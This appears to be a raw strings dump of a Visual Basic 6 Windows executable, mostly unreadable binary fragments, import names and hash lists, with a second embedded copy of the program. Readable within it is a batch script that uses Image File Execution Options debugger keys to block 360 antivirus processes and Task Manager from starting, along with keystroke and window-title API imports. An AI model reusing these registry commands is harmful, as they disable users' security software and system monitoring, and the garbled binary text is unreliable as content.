vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X }qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
I x@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
216E0CC0CE2B89F5744D630BFDA1DBAD
B7E2F86F3BC6F19BD467E1B3C5D0C0C7
4EB232B783B92214BFC1E08897E4C5CE
CE63E9A35A0D2BDAD7B48E3561727A02
B508A6C9059AA00580922CF5BD7754BD
BA9C044EA2FF3E936B67F8AF6A94969B
37EF691EC8CE873FC977FFC2626E5A49
82113C8CC75CAA022DBDE73DEAF63B1F
82711FA4AF9AE9579FAC15CDE8ED0A64
9BC32D3AD026393FA15723C0F6B57F54
61863D861E052492CB945DBDAD4C67F3
CD3A246CDE42E41F281EC5AF3BEFAC44
51F4BBA896807318CD3428DD59F3D1B0
90ABB3C418A151B911312B306D7394D2
0786361F7F8431C36CF98D9F7236C71C
2FC316E5A3CF0BACC8C815C34B511FAA
9CF16186F2111796ACD41CE44F5C4CF3
663B473799ED70DFE9764BFCE9FC333A
2EBAFDC2E80AD6630B43C8BDDF79589F
8419BE08503F4EB9525A28000C700C77
5CC2513DB859EF939BA9DA46FE758E57
4A700285BB7DA4A9480F4234A9B2BA26
77B28852B0D5C3029429A72C7A740A09
0CA5C53E671714DC954A989693DECB31
72E9BA4595334303988DAC561CF4F483
7408E57A355BA4C84F03DC5CEFF7B60B
8C2446B50A55897D911C1C9462F969DD
E2FFB58E5E9D960C84AB3A968C5172EC
DD11FC6BBDC252CC84235DBDA8FE5A8E
115A5040F0229D26B6EE1D18080389C7
B28FE16724FA7148E870B1DB78C075E6
B1C074021BF9B9198931874E3543B355
542718393A3B66D642F759E9B6C511AF
115EB751251FC694ADE22638A3588946
0DD696271565626CCCFC6D84D57CA619
93F9A9818BBA389594D54379AEC97EEB
627CFA73B4B9CC79D0BC4755ABB46C8B
84BDA401D7DFB16F7B8E21D64B185F67
0F4D48F3E425D0281E0F6BF0A242C908
0E7DC75BE814042EE638D738FF47D58C
788606E2FC0051D25C8B3FDABF5545AB
07ABB01629E0C79EB78AE009395911EB
4F0DC4376E47CEB337A2B1FBC4DAFA20
3AA62EEE583C83FCCFA99917691FDFF2
7C4988544E19857988A014A952728E0B
4864B2A5D6222996DF07025B6BB8239E
593FF1077E1D2EFAC995FBDD710A60E4
73808D619752E0A4A441516B85E0D9A8
F93C25F4E9F6F44E58C70AEBE5279FEA
B11EB14DE3F4001E9E92A7CA6B737805
FDE6433136447CB527D2398579EDAF67
0B36EBFB012659E2947810CD9B36314A
9A49676D5B637BDB584C9809AC5E7EF8
5EADA178DC7FC1080435202EAF58FC24
B8B6E53992728878A3AACC8C428680B5
7320B6D41804A978057ED2047512DCF9
0E6C0AFF32B338A608E54F33BA6F8B64
74C7E528CAC7490C93B8884520C6701E
09E63F3F53A9ED519AF74A8DD14CAA5C
B113A644B23F9B06A76366C8A681B174
2F63A5A40578B388DD81DE7F119B10EC
580ECFA46198360A23ABB224E0604A8E
F5F01F8BE9C0407DDE69882E70392957
5341545A53AA611F4A7F17B0C10AD041
A8944996B57CD2C2B15A801BA45EE273
2CEE4FE0C8CBF42544F12BB23F2FDEC9
F9A0622FAB2E67FE152788565D5683B4
E8EC3C0CA9692A9DA7B8FABAC6996D5F
6179F91219659C51DED162CF20300B22
CDEF383CBBDE2F64BFD9E1FC23800BCD
C0532F7219C937A12322F8B4CA76C2A5
E1B092B5DFD3AD41A234802D0D4FFA17
14F619EFDAFADE0A7BF67AC17D2396F7
F385B8A93584436B4AAF466927E55A59
AD8D93A645C955207E1FAC1AC9523D77
40FE02EDD1A99D02A57CBBF8AB46CF3F
1C57F23E081D55A8B796FCB0D7A472C6
B7FFE48B7904142F7095C419442096BC
9BD60A4AB093FE4C6C57F13BD37180A4
6FD5BE841F37ED11C340D6F6FF1DE445
90B9682EEBD5DAB7905CABE5A0228FB1
47330A81332FFBBB2E7247A96976A400
64A36117E3E7D013062E371587948B35
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
7922F4DB6BD4AF02B061CB04F35BE848
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
